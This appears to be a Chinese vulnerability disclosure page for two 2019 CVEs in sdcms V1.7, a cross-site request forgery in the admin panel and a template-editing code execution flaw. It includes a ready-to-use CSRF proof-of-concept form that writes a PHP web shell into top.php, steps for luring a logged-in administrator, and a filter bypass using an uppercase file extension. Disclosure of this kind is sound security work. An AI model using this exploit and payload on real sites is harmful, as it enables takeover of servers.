CVE中文申请站

CVE-2019-9652:sdcms V1.7 后台csrf漏洞

一、漏洞摘要

漏洞名称: sdcms V1.7 后台csrf漏洞
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9652


二、漏洞概述

整站后台请求没有加上csrf token保护,所以可以伪造客户端请求。 配合后台代码执行漏洞(http://www.iwantacve.cn/index.php/archives/155/),即可getshell。

三、利用方法

将以下代码保存为html文件,放在网站上,将网址发给管理员,在管理登陆的情况下,点击链接即可在top.php中插入恶意代码从而getshell。
exp:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/sdcms17/?m=admin&c=theme&a=edit&root=ZGVmYXVsdC90b3AuUEhQ" method="POST">
      <input type="hidden" name="file" value="default&#47;top&#46;php" />
      <input type="hidden" name="t0" value="ZGVmYXVsdC90b3AuUEhQ" />
      <input type="hidden" name="t1" value="" />
      <input type="hidden" name="t2" value="&lt;&#63;php&#32;system&#40;&#36;&#95;SERVER&#91;&apos;HTTP&#95;USER&#95;AGENT&apos;&#93;&#41;&#59;&#32;&#63;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/156/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9652
exploit-db:发布中

CVE-2019-9651:sdcms V1.7 远程代码执行

一、漏洞摘要

漏洞名称: sdcms V1.7 远程代码执行
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9651


二、漏洞概述

sdcms的代码中,对模板的编辑过滤不严,导致在后台更改的代码中可以绕过自身的过滤,添加php代码造成代码执行。

0x01审计发现:
后台可以对php文件进行编辑,故对其代码审计:
s1.png

0x01:定位到文件:
/app/admin/controller/themecontroller.php
一下代码就是,后台编辑模板文件的处理代码。
s2.png
s3.png
s4.png
这里主要看第一个if里面的。
可以看到
s5.png
这里对文件读取进行了处理,并且判断文件是否存在。
s6.png
继续往下走,可以看到 t1、t2参数,这些都是对传进来的参数进行处理。t2就是编辑的文件内容。可以看到这里有一个check_bad($text),函数对编辑的文件进行过滤处理。
s7.png
主要过滤了一些参数传递、还有读写文件以及危险函数。
s8.png
校验通过后,最后在判断文件是否是php,是的话,添加一段php代码在编辑的文件里面,这样就不能执行了,最后覆盖保存文件。
0x02:代码执行漏洞
s9.png
抓包可以看到,root为文件名称 解码就是default/top.php,t0同理也是,t2就是编辑后的文件。
这里进行绕过的方法就是 上述判断只判断了php,这里可以将后缀大写,即PHP
s10.png

即可绕过限制,至于最后的check_bad($text),找一个可以接受的参数即可:
<?php system($_SERVER['HTTP_USER_AGENT']); ?> 过滤函数较少,这里可以直接写一个,ua的shell。
s11.png

三、利用方法

登录后台
系统管理--》模板管理--》default--》编辑php文件
q1.png
q2.png
按照上述位置。编辑文件,并发送,抓包测试:
q3.png
验证:
q4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/155/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9651
exploit-db:发布中